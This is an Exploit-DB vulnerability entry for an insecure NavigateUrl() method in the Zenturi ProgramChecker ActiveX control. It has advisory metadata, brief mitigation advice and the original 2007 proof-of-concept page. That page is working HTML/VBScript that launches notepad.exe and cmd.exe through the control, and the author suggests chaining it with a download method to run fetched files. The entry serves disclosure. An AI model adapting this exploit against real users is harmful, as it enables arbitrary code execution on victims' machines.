Zenturi ProgramChecker ActiveX Control "NavigateUrl()" Insecure Method

vendor:

ProgramChecker ActiveX Control

by:

shinnai

7.5

CVSS

HIGH

Insecure Method

CWE

Product Name: ProgramChecker ActiveX Control

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

Zenturi ProgramChecker ActiveX Control “NavigateUrl()” Insecure Method

The Zenturi ProgramChecker ActiveX Control "NavigateUrl()" method allows arbitrary local file execution on a target system. This can be exploited to download and execute malicious files on a victim's machine. The vulnerability was discovered by shinnai and reported on milw0rm.com.

Mitigation:

Apply the latest patches and updates for the Zenturi ProgramChecker ActiveX Control. Disable or remove the control if it is not necessary.

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>Zenturi ProgramChecker ActiveX Control "NavigateUrl()" Insecure Method</b>
 
 url: http://www.programchecker.com/activeintro.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 I can't believe my eyes when I see what you can do with this ActiveX
 (and I can't believe that this product is considered as antispyware).
 You can use the "NavigateUrl()" to arbitrary launch local file from a pc.
 Try, for example, to launch "c:\somefile.exe" and see what happen.
 Imagine to use this method with the "DownloadFile()" one, you can download
 something on the pc and run it without problems.
 For the "DownloadFile()" vulnerability see:
 <a href=http://www.milw0rm.com/exploits/4008>http://www.milw0rm.com/exploits/4008</a>
-----------------------------------------------------------------------------

<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe()
 
 test.NavigateUrl "notepad.exe" ,"shinnai" ,"_SELF"
 test.NavigateUrl "cmd.exe" ,"shinnai" ,"_SELF"

End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-06-08]